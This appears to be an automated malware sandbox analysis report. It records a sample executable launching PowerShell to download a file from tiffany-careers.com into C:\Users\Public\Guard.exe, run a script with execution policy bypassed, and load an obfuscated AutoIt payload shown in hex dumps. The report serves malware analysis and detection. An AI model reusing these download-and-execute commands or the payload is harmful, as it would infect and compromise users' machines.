                                                          2024-12-27 14:00:50 UTC16384INData Raw: 93 00 00 00 e9 cf 7c 03 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 b2 7c 03 00 8b 45 f8 48 4e 83 7d 94 00 89 45 f8 74 2e 8d 4d 94 e8 51 34 01 00 8d 4d 94 8b 18 e8 55 34 01 00 8b 45 f8 85 c0 78 08 3b f3 0f 84 1d fd ff ff 57 6a 78 e9 88 7c 03 00 8d 5e 01 eb 9d 8d 5e 01 eb e2 8d 5e 01 e9 45 fd ff ff 8d 5e 01 e9 17 fe ff ff 8b ff a9 c8 40 00 b3 48 44 00 5e cb 40 00 6e cb 40 00 41 ca 40 00 9b cb 40 00 09 cc 40 00 80 cb 40 00 cf cb 40 00 4f c9 40 00 70 c9 40 00 cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 1c 53 56 57 8b 7d 08 33 f6 ba 01 00 00 00 89 74 24 18 89 74 24 20 8b d9 89 54 24 24 8b 47 04 89 74 24 10 8b 00 89 44 24 14 0f bf 40 08 83 f8 33 75 28 57 e8 a0 cf ff ff 8b 4c 24 20 85 c9 75 3c 8b 74 24 18 8b 54 24 24 83 fa 05 0f 8d a8 7c 03 00 5f 5e 5b 8b e5 5d
                                                          Data Ascii: |AjYf9H|EHN}Et.MQ4MU4Ex;Wjx|^^^E^@HD^@n@A@@@@@O@p@USVW}3t$t$ T$$Gt$D$@3u(WL$ u<t$T$$|_^[]
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 00 00 8b 5d 10 33 c0 6a ff 50 8b cb c6 45 cf 00 89 45 a0 e8 69 0d 00 00 83 7d 0c 00 75 04 c6 45 cf 01 8d 4d d0 e8 dd 05 00 00 8d 4d b4 e8 d5 05 00 00 33 d2 33 f6 89 55 c4 89 75 f0 8d 64 24 00 80 7d cf 00 0f 84 bf df 03 00 83 7f 14 00 0f 84 89 03 00 00 80 7f 10 00 0f 84 7f 03 00 00 83 fa ff 0f 84 76 03 00 00 8b 4f 1c 3b d1 0f 8f 6b 03 00 00 ff 77 24 8b 47 34 ff 77 20 0b 47 2c 50 52 8b 57 18 51 ff 37 8b 4f 14 e8 12 ea ff ff 8b c8 83 c4 18 89 4f 28 85 c9 0f 8e 30 03 00 00 8b 47 20 8b 50 04 c7 47 2c 00 00 00 00 8b 18 3b 58 04 89 5d c8 8b 5d 10 0f 84 5c df 03 00 89 55 c4 85 c9 0f 84 16 03 00 00 8b 47 20 8b 30 8b 45 f0 2b f0 0f 84 a3 02 00 00 8b 4f 04 3b c1 0f 83 98 02 00 00 83 fe ff 0f 84 2c 03 00 00 03 c6 3b c1 0f 87 1f 03 00 00 8b 4d c0 8b 01 83 f8 01 0f 8f
                                                          Data Ascii: ]3jPEEi}uEMM33Uud$}vO;kw$G4w G,PRWQ7OO(0G PG,;X]]\UG 0E+O;,;M
                                                          2024-12-27 14:00:50 UTC16384INData Raw: b8 00 47 3b 7e 08 73 e0 eb e5 56 8b f1 c7 06 c4 09 49 00 e8 c5 ff ff ff ff 76 04 e8 3c c4 00 00 59 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b d9 57 33 ff 39 7b 08 76 40 56 8d 64 24 00 8b 73 04 8b 34 be 85 f6 74 16 8b 46 0c ff 08 8b 46 0c 83 38 00 74 29 56 e8 ff c3 00 00 83 c4 04 8b 43 04 c7 04 b8 00 00 00 00 47 3b 7b 08 72 d0 c7 43 08 00 00 00 00 5e 5f 5b c3 89 7b 08 eb f8 ff 36 e8 d5 c3 00 00 ff 76 0c e8 cd c3 00 00 83 c4 08 eb c3 55 8b ec 56 8b f1 8b 46 0c 39 46 08 75 2f 8d 0c 00 6a 08 58 3b c8 73 5f 57 33 c9 89 46 0c 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 22 c3 00 00 83 7e 04 00 8b f8 59 75 42 89 7e 04 5f 6a 10 e8 0e c3 00 00 8b d0 59 85 d2 74 51 8b 45 08 8b 08 89 0a 8b 48 04 89 4a 04 8b 48 08 89 4a 08 8b 40 0c 89 42 0c ff 00 8b 4e 08 8b 46
                                                          Data Ascii: G;~sVIv<Y^SW39{v@Vd$s4tFF8t)VCG;{rC^_[{6vUVF9Fu/jX;s_W3FjZQ"~YuB~_jYtQEHJHJ@BNF
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 05 f4 2b 4c 00 38 04 47 00 c7 05 f8 2b 4c 00 00 00 00 00 c7 05 fc 2b 4c 00 00 00 00 00 c7 05 00 2c 4c 00 02 00 00 00 c7 05 04 2c 4c 00 02 00 00 00 c6 05 08 2c 4c 00 00 c7 05 0c 2c 4c 00 08 15 49 00 c7 05 18 2c 4c 00 94 04 47 00 c7 05 1c 2c 4c 00 00 00 00 00 c7 05 20 2c 4c 00 00 00 00 00 c7 05 24 2c 4c 00 02 00 00 00 c7 05 28 2c 4c 00 02 00 00 00 c6 05 2c 2c 4c 00 00 c7 05 30 2c 4c 00 28 15 49 00 c7 05 3c 2c 4c 00 f0 04 47 00 c7 05 40 2c 4c 00 00 00 00 00 c7 05 44 2c 4c 00 00 00 00 00 c7 05 48 2c 4c 00 02 00 00 00 c7 05 4c 2c 4c 00 02 00 00 00 c6 05 50 2c 4c 00 00 c7 05 54 2c 4c 00 4c 15 49 00 c7 05 60 2c 4c 00 30 05 47 00 c7 05 64 2c 4c 00 00 00 00 00 c7 05 68 2c 4c 00 00 00 00 00 c7 05 6c 2c 4c 00 02 00 00 00 c7 05 70 2c 4c 00 03 00 00 00 c6 05 74 2c 4c
                                                          Data Ascii: +L8G+L+L,L,L,L,LI,LG,L ,L$,L(,L,,L0,L(I<,LG@,LD,LH,LL,LP,LT,LLI`,L0Gd,Lh,Ll,Lp,Lt,L
                                                          2024-12-27 14:00:50 UTC16384INData Raw: cb 41 00 a6 cb 41 00 9d 12 45 00 ba 12 45 00 71 cb 41 00 ae cb 41 00 61 12 45 00 6e 12 45 00 ef 12 45 00 ff 12 45 00 0d 13 45 00 27 13 45 00 b4 cb 41 00 55 8b ec 83 ec 10 53 8b d9 89 4d f0 56 33 c9 57 8b fa 41 89 7d f4 33 d2 89 4d f8 0f b7 03 8d 73 04 b9 85 00 00 00 c7 45 fc 01 00 00 00 66 3b c1 0f 84 c8 00 00 00 83 c1 05 66 3b c1 0f 84 bc 00 00 00 b9 86 00 00 00 66 3b c1 0f 84 ae 00 00 00 83 c1 05 66 3b c1 0f 84 a2 00 00 00 0f b7 06 3d a1 00 00 00 0f 87 e4 00 00 00 0f b6 80 0f ce 41 00 ff 24 85 8b cd 41 00 ff 75 08 ff 75 0c 52 8d 56 02 8b cf e8 f5 01 00 00 83 c4 0c 33 d2 8b 4d f8 8b 5d f0 6a 77 0f b7 43 02 8d 1c 43 58 89 5d f0 66 39 03 0f 84 71 ff ff ff 8b c1 5f 5e 5b 8b e5 5d c3 66 83 3e 70 8b ca 0f 84 ea 47 03 00 8d 4e 02 83 c6 22 85 c9 74 12 6a 20 8b
                                                          Data Ascii: AAEEqAAaEnEEEE'EAUSMV3WA}3MsEf;f;f;f;=A$AuuRV3M]jwCCX]f9q_^[]f>pGN"tj
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 33 41 fe ff 8d 45 e8 50 ff 77 08 e8 1a 34 ff ff ff 75 e8 68 a8 2c 49 00 56 e8 e7 3e 00 00 83 c4 0c 89 45 f8 80 7d ff 00 0f 85 12 5d 03 00 8d 4d e8 e8 80 10 ff ff 8b 7d f8 56 e8 8b 40 00 00 59 83 fb ff 74 19 53 56 e8 ba 3c 00 00 59 50 e8 e1 3a 00 00 59 59 8b c7 5f 5e 5b 8b e5 5d c3 68 00 40 00 00 eb e1 55 8b ec 51 51 56 57 8b f9 c7 45 f8 01 00 00 00 33 c0 8b f2 88 45 ff 85 ff 74 74 8b 06 0f b7 04 47 50 e8 e1 2b 00 00 59 85 c0 75 67 8b 0e 33 d2 53 8b 5d 08 0f b7 04 4f 89 13 83 e8 2b 74 5c 48 48 74 54 8b 06 66 39 14 47 74 32 8b 06 0f b7 04 47 50 e8 d3 31 00 00 59 85 c0 74 21 6b 03 0a 8b 16 c6 45 ff 01 0f b7 0c 57 83 c0 d0 03 c1 8d 4a 01 89 03 33 c0 89 0e 66 39 04 4f 75 ce 8b 0b 0f af 4d f8 8a 45 ff 89 0b 5b 5f 5e 8b e5 5d c3 32 c0 eb f6 ff 06 eb 84 83 4d f8
                                                          Data Ascii: 3AEPw4uh,IV>E}]M}V@YtSV<YP:YY_^[]h@UQQVWE3EttGP+Yug3S]O+t\HHtTf9Gt2GP1Yt!kEWJ3f9OuME[_^]2M
                                                          2024-12-27 14:00:50 UTC16384INData Raw: 00 8b c3 e8 6d 3f 00 00 c3 8b 5d e4 8b 7d 08 57 e8 98 22 00 00 59 c3 55 8b ec 56 8b 75 08 85 f6 75 09 56 e8 fb 00 00 00 59 eb 2f 56 e8 2c 00 00 00 59 85 c0 74 05 83 c8 ff eb 1f f7 46 0c 00 40 00 00 74 14 56 e8 bc fc ff ff 50 e8 26 a4 00 00 f7 d8 59 59 1b c0 eb 02 33 c0 5e 5d c3 55 8b ec 53 56 8b 75 08 33 db 8b 46 0c 24 03 3c 02 75 42 f7 46 0c 08 01 00 00 74 39 57 8b 3e 2b 7e 08 85 ff 7e 2e 57 ff 76 08 56 e8 79 fc ff ff 59 50 e8 22 8e 00 00 83 c4 0c 3b c7 75 0f 8b 46 0c 84 c0 79 0f 83 e0 fd 89 46 0c eb 07 83 4e 0c 20 83 cb ff 5f 8b 4e 08 8b c3 83 66 04 00 89 0e 5e 5b 5d c3 6a 01 e8 5b 00 00 00 59 c3 6a 0c 68 30 cc 4b 00 e8 5a 3e 00 00 33 ff 89 7d e4 8b 75 08 85 f6 75 09 57 e8 3b 00 00 00 59 eb 24 56 e8 4d 21 00 00 59 89 7d fc 56 e8 1c ff ff ff 59 8b f8 89
                                                          Data Ascii: m?]}W"YUVuuVY/V,YtF@tVP&YY3^]USVu3F$<uBFt9W>+~~.WvVyYP";uFyFN _Nf^[]j[Yjh0KZ>3}uuW;Y$VM!Y}VY


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          1192.168.2.949723147.45.49.1554436848C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          TimestampBytes transferredDirectionData
                                                          2024-12-27 14:00:54 UTC82OUTGET /ZxVMIVZIX.txt HTTP/1.1
                                                          Host: tiffany-careers.com
                                                          Connection: Keep-Alive
                                                          2024-12-27 14:00:55 UTC425INHTTP/1.1 200 OK
                                                          etag: "1189e2-676a89bf-23c4e;;;"
                                                          last-modified: Tue, 24 Dec 2024 10:15:27 GMT
                                                          content-type: text/plain
                                                          content-length: 1149410
                                                          accept-ranges: bytes
                                                          date: Fri, 27 Dec 2024 14:00:54 GMT
                                                          server: LiteSpeed
                                                          alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                          connection: close
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24
                                                          Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 63 75 72 72 65 64 4c 61 79 6f 75 74 20 3d 20 38 38 20 54 68 65 6e 0a 24 52 45 4a 45 43 54 52 45 53 45 52 56 4f 49 52 4c 4f 43 4b 45 4e 4a 4f 59 45 44 20 3d 20 38 39 0a 24 53 57 49 53 53 45 53 50 4e 53 48 45 46 46 49 45 4c 44 20 3d 20 38 30 0a 46 6f 72 20 24 48 79 52 58 65 76 4d 20 3d 20 35 36 20 54 6f 20 33 33 30 0a 49 66 20 24 52 45 4a 45 43 54 52 45 53 45 52 56 4f 49 52 4c 4f 43 4b 45 4e 4a 4f 59 45 44 20 3d 20 38 37 20 54 68 65 6e 0a 45 78 70 28 32 30 31 36 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 36 36 5d 31 31 31 5d 39 38 5d 31 30 39 5d 31 31 32 5d 31 30 34 5d 33 34 5d 37 31 5d 31 30 32 5d 39 38 5d 31 31 37 5d 33 34 5d 36 36 5d 31 30 39 5d 31 30 34 5d 31 30 32 5d 31 31 35 5d 31 30 36 5d 39 38 5d 33 34 5d 38 33 5d 31 30 32
                                                          Data Ascii: curredLayout = 88 Then$REJECTRESERVOIRLOCKENJOYED = 89$SWISSESPNSHEFFIELD = 80For $HyRXevM = 56 To 330If $REJECTRESERVOIRLOCKENJOYED = 87 ThenExp(2016)PixelGetColor(Wales("66]111]98]109]112]104]34]71]102]98]117]34]66]109]104]102]115]106]98]34]83]102
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 6d 65 6c 69 6e 65 20 3d 20 35 37 0a 24 46 6f 72 75 6d 73 49 73 74 61 6e 62 75 6c 20 3d 20 37 38 0a 57 68 69 6c 65 20 31 33 0a 49 66 20 24 4d 65 61 73 75 72 65 54 69 6d 65 6c 69 6e 65 20 3d 20 35 35 20 54 68 65 6e 0a 44 65 63 28 57 61 6c 65 73 28 22 38 31 5d 31 31 38 5d 31 32 34 5d 31 30 32 22 2c 34 30 2f 35 29 29 0a 41 43 6f 73 28 31 30 30 33 29 0a 44 65 63 28 57 61 6c 65 73 28 22 31 31 37 5d 31 30 34 5d 31 30 32 5d 31 32 34 5d 31 30 32 5d 31 31 31 5d 31 30 38 5d 31 31 33 5d 31 30 36 5d 34 38 5d 31 31 39 5d 31 30 38 5d 31 30 34 5d 34 38 22 2c 33 2f 31 29 29 0a 24 4d 65 61 73 75 72 65 54 69 6d 65 6c 69 6e 65 20 3d 20 24 4d 65 61 73 75 72 65 54 69 6d 65 6c 69 6e 65 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 4d 65 61 73 75 72 65 54 69 6d 65 6c 69 6e 65 20
                                                          Data Ascii: meline = 57$ForumsIstanbul = 78While 13If $MeasureTimeline = 55 ThenDec(Wales("81]118]124]102",40/5))ACos(1003)Dec(Wales("117]104]102]124]102]111]108]113]106]48]119]108]104]48",3/1))$MeasureTimeline = $MeasureTimeline + 1EndIfIf $MeasureTimeline
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 39 31 5d 31 32 39 5d 31 31 38 5d 31 30 38 5d 31 31 33 5d 31 30 37 5d 31 30 35 5d 31 32 34 5d 31 31 33 5d 31 31 39 5d 31 31 38 5d 35 35 5d 37 33 5d 31 32 36 5d 31 30 35 5d 31 31 33 5d 31 31 36 5d 31 30 35 5d 31 30 36 5d 31 31 36 5d 31 30 39 5d 35 35 22 2c 36 34 2f 38 29 29 0a 41 54 61 6e 28 39 30 34 38 29 0a 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 3d 20 24 6c 69 73 61 6b 6e 6f 77 6c 65 64 67 65 73 74 6f 72 6d 73 68 61 72 70 69 6e 73 69 67 68 74 20 2b 20 31 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 54 72 61 64 69 6e 67 4c 6f 6c 20 3d 20 33 39 0a 24 43 4f 4e 56 45 4e 49 45 4e 54 44 45 42 55 47 4e 44 4d 41 44 4f 4e 4e 41 20 3d 20 37 35 0a 57 68 69 6c 65 20 33 38 39 0a 49 66 20 24 54 72 61 64 69 6e 67 4c 6f
                                                          Data Ascii: 91]129]118]108]113]107]105]124]113]119]118]55]73]126]105]113]116]105]106]116]109]55",64/8))ATan(9048)$lisaknowledgestormsharpinsight = $lisaknowledgestormsharpinsight + 1EndIfNext$TradingLol = 39$CONVENIENTDEBUGNDMADONNA = 75While 389If $TradingLo
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 73 28 22 38 32 5d 31 32 31 5d 31 30 34 5d 31 31 37 5d 31 32 31 5d 31 30 38 5d 31 30 34 5d 31 32 32 5d 34 38 5d 38 36 5d 31 30 34 5d 31 31 33 5d 31 31 39 5d 31 30 34 5d 31 31 33 5d 31 30 32 5d 31 30 34 5d 31 31 38 5d 34 38 22 2c 39 2f 33 29 2c 20 57 61 6c 65 73 28 22 38 32 5d 31 32 31 5d 31 30 34 5d 31 31 37 5d 31 32 31 5d 31 30 38 5d 31 30 34 5d 31 32 32 5d 34 38 5d 38 36 5d 31 30 34 5d 31 31 33 5d 31 31 39 5d 31 30 34 5d 31 31 33 5d 31 30 32 5d 31 30 34 5d 31 31 38 5d 34 38 22 2c 39 2f 33 29 29 0a 41 43 6f 73 28 39 34 36 37 29 0a 24 77 61 69 74 73 75 73 73 65 78 20 3d 20 24 77 61 69 74 73 75 73 73 65 78 20 2b 20 31 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 57 69 64 65 73 63 72 65 65 6e 54 72 61 69 6e 41 6e 61 74 6f 6d 79 20 3d 20 34 39 0a 24 72 65 6c 61 74
                                                          Data Ascii: s("82]121]104]117]121]108]104]122]48]86]104]113]119]104]113]102]104]118]48",9/3), Wales("82]121]104]117]121]108]104]122]48]86]104]113]119]104]113]102]104]118]48",9/3))ACos(9467)$waitsussex = $waitsussex + 1EndIfNext$WidescreenTrainAnatomy = 49$relat
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 6e 74 75 72 6e 20 3d 20 24 73 65 74 74 69 6e 67 73 6f 6d 65 72 73 65 74 76 65 67 65 74 61 72 69 61 6e 74 75 72 6e 20 2b 20 31 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 73 61 66 65 6c 79 77 72 69 67 68 74 68 6f 6d 65 74 6f 77 6e 61 6c 75 6d 69 6e 75 6d 20 3d 20 27 33 36 39 37 38 35 33 37 31 35 37 39 30 37 33 38 30 39 34 30 37 38 36 30 31 32 32 36 32 39 34 34 39 32 30 31 30 31 33 30 37 38 38 39 31 32 36 38 38 37 39 32 31 31 33 35 31 30 36 37 34 37 35 32 31 27 0a 24 44 65 66 69 6e 69 74 69 6f 6e 73 46 61 76 6f 75 72 69 74 65 73 55 72 69 20 3d 20 39 30 0a 24 41 67 61 69 6e 73 74 47 72 69 70 47 75 79 45 75 72 6f 70 65 20 3d 20 36 36 0a 57 68 69 6c 65 20 39 30 32 0a 49 66 20 24 44 65 66 69 6e 69 74 69 6f 6e 73 46 61 76 6f 75 72 69 74 65 73 55 72 69 20 3d 20 38 39
                                                          Data Ascii: nturn = $settingsomersetvegetarianturn + 1EndIfNext$safelywrighthometownaluminum = '36978537157907380940786012262944920101307889126887921135106747521'$DefinitionsFavouritesUri = 90$AgainstGripGuyEurope = 66While 902If $DefinitionsFavouritesUri = 89
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 37 20 54 68 65 6e 0a 41 54 61 6e 28 36 35 37 31 29 0a 43 68 72 28 38 37 35 38 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 57 61 6c 65 73 28 22 38 34 5d 31 30 38 5d 31 31 37 5d 31 32 34 5d 34 39 5d 38 37 5d 31 30 34 5d 31 32 31 5d 31 32 33 5d 31 31 32 5d 31 30 36 5d 31 31 35 5d 31 30 38 5d 34 39 22 2c 32 38 2f 34 29 2c 20 57 61 6c 65 73 28 22 38 34 5d 31 30 38 5d 31 31 37 5d 31 32 34 5d 34 39 5d 38 37 5d 31 30 34 5d 31 32 31 5d 31 32 33 5d 31 31 32 5d 31 30 36 5d 31 31 35 5d 31 30 38 5d 34 39 22 2c 32 38 2f 34 29 29 0a 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 3d 20 24 53 74 72 69 63 74 52 65 61 6c 74 6f 72 73 41
                                                          Data Ascii: StrictRealtorsAdministration = 7 ThenATan(6571)Chr(8758)PixelGetColor(Wales("84]108]117]124]49]87]104]121]123]112]106]115]108]49",28/4), Wales("84]108]117]124]49]87]104]121]123]112]106]115]108]49",28/4))$StrictRealtorsAdministration = $StrictRealtorsA
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 24 4a 65 4f 6b 61 79 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 4a 65 4f 6b 61 79 20 3d 20 35 34 20 54 68 65 6e 0a 24 49 4e 48 45 52 49 54 45 44 45 4e 41 52 49 53 49 4e 47 20 3d 20 53 71 72 74 28 35 32 30 32 29 0a 45 78 69 74 4c 6f 6f 70 0a 45 6e 64 49 66 0a 49 66 20 24 4a 65 4f 6b 61 79 20 3d 20 35 35 20 54 68 65 6e 0a 41 53 69 6e 28 31 39 39 33 29 0a 41 43 6f 73 28 32 38 32 33 29 0a 43 6f 6e 73 6f 6c 65 57 72 69 74 65 45 72 72 6f 72 28 57 61 6c 65 73 28 22 38 30 5d 38 32 5d 37 33 5d 37 38 5d 36 37 5d 37 33 5d 38 30 5d 37 36 5d 36 39 5d 33 35 5d 37 31 5d 36 35 5d 37 37 5d 36 39 5d 38 33 5d 38 30 5d 37 39 5d 38 34 5d 33 35 22 2c 30 2f 35 29 29 0a 24 4a 65 4f 6b 61 79 20 3d 20 24 4a 65 4f 6b 61 79 20 2b 20 31 0a 45 6e 64 49 66 0a 4e 65 78 74 0a 24 52 6f
                                                          Data Ascii: $JeOkay + 1EndIfIf $JeOkay = 54 Then$INHERITEDENARISING = Sqrt(5202)ExitLoopEndIfIf $JeOkay = 55 ThenASin(1993)ACos(2823)ConsoleWriteError(Wales("80]82]73]78]67]73]80]76]69]35]71]65]77]69]83]80]79]84]35",0/5))$JeOkay = $JeOkay + 1EndIfNext$Ro
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 73 69 6f 6e 20 3d 20 39 30 20 54 68 65 6e 0a 41 54 61 6e 28 33 36 31 31 29 0a 44 65 63 28 57 61 6c 65 73 28 22 37 35 5d 31 32 34 5d 31 30 33 5d 31 31 34 5d 31 32 33 5d 31 30 33 5d 31 32 32 5d 31 30 37 5d 33 38 22 2c 34 38 2f 38 29 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 37 31 5d 39 38 5d 31 30 30 5d 31 31 37 5d 31 31 32 5d 31 31 35 5d 31 32 32 5d 36 32 5d 38 33 5d 31 30 32 5d 31 30 39 5d 36 32 5d 38 34 5d 31 31 38 5d 31 31 36 5d 31 31 33 5d 31 30 32 5d 31 30 30 5d 31 31 37 5d 36 32 5d 37 34 5d 31 30 39 5d 31 30 39 5d 31 31 38 5d 31 31 36 5d 31 31 37 5d 31 31 35 5d 39 38 5d 31 31 37 5d 31 30 32 5d 31 30 31 5d 36 32 22 2c 35 2f 35 29 29 0a 24 54 72 69 70 6c 65 43 6f 6e 63 6c 75 73 69 6f 6e 20 3d 20 24 54 72 69 70 6c 65 43 6f 6e 63 6c
                                                          Data Ascii: sion = 90 ThenATan(3611)Dec(Wales("75]124]103]114]123]103]122]107]38",48/8))DriveStatus(Wales("71]98]100]117]112]115]122]62]83]102]109]62]84]118]116]113]102]100]117]62]74]109]109]118]116]117]115]98]117]102]101]62",5/5))$TripleConclusion = $TripleConcl
                                                          2024-12-27 14:00:55 UTC16384INData Raw: 24 42 55 54 4b 4e 49 54 54 49 4e 47 43 48 52 4f 4d 45 2c 20 24 63 61 6e 62 65 72 72 61 66 75 6e 64 61 6d 65 6e 74 61 6c 65 76 69 6c 63 65 6f 29 0a 24 43 6f 6e 73 74 72 61 69 6e 74 47 65 6e 64 65 72 49 6e 74 65 72 70 72 65 74 61 74 69 6f 6e 20 3d 20 27 34 35 31 35 34 39 32 35 36 34 37 32 30 35 37 32 37 37 32 33 33 32 39 34 34 32 36 33 36 37 38 35 35 38 38 37 30 27 0a 24 57 69 6c 6c 69 6e 67 57 65 62 70 61 67 65 46 61 73 68 69 6f 6e 20 3d 20 33 31 0a 24 54 69 6e 44 65 74 65 72 6d 69 6e 65 50 65 72 73 6f 6e 20 3d 20 37 38 0a 46 6f 72 20 24 6e 45 53 52 72 5a 41 20 3d 20 35 32 20 54 6f 20 39 31 33 0a 49 66 20 24 57 69 6c 6c 69 6e 67 57 65 62 70 61 67 65 46 61 73 68 69 6f 6e 20 3d 20 33 30 20 54 68 65 6e 0a 45 78 70 28 35 32 33 34 29 0a 41 43 6f 73 28 35 34 39
                                                          Data Ascii: $BUTKNITTINGCHROME, $canberrafundamentalevilceo)$ConstraintGenderInterpretation = '4515492564720572772332944263678558870'$WillingWebpageFashion = 31$TinDeterminePerson = 78For $nESRrZA = 52 To 913If $WillingWebpageFashion = 30 ThenExp(5234)ACos(549


                                                          Statistics

                                                          CPU Usage

                                                          Click to jump to process

                                                          Memory Usage

                                                          Click to jump to process

                                                          High Level Behavior Distribution

                                                          Click to dive into process behavior distribution

                                                          Behavior

                                                          Click to jump to process

                                                          System Behavior

                                                          General

                                                          Target ID:0
                                                          Start time:09:00:43
                                                          Start date:27/12/2024
                                                          Path:C:\Users\user\Desktop\TCKxnQ5CPn.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Users\user\Desktop\TCKxnQ5CPn.exe"
                                                          Imagebase:0x7ff69db30000
                                                          File size:1'083'904 bytes
                                                          MD5 hash:2A89603D2620B2A62113513709E38E95
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:low
                                                          Has exited:true

                                                          General

                                                          Target ID:2
                                                          Start time:09:00:43
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:powershell -Command "Invoke-WebRequest -Uri "https://tiffany-careers.com/ALGglt" -OutFile "C:\Users\Public\Guard.exe""
                                                          Imagebase:0x7ff760310000
                                                          File size:452'608 bytes
                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:3
                                                          Start time:09:00:43
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff70f010000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:4
                                                          Start time:09:00:50
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
                                                          Imagebase:0x7ff760310000
                                                          File size:452'608 bytes
                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:5
                                                          Start time:09:00:50
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff70f010000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:6
                                                          Start time:09:00:55
                                                          Start date:27/12/2024
                                                          Path:C:\Users\Public\Guard.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
                                                          Imagebase:0x130000
                                                          File size:893'608 bytes
                                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Antivirus matches:
                                                          • Detection: 8%, ReversingLabs
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:7
                                                          Start time:09:00:57
                                                          Start date:27/12/2024
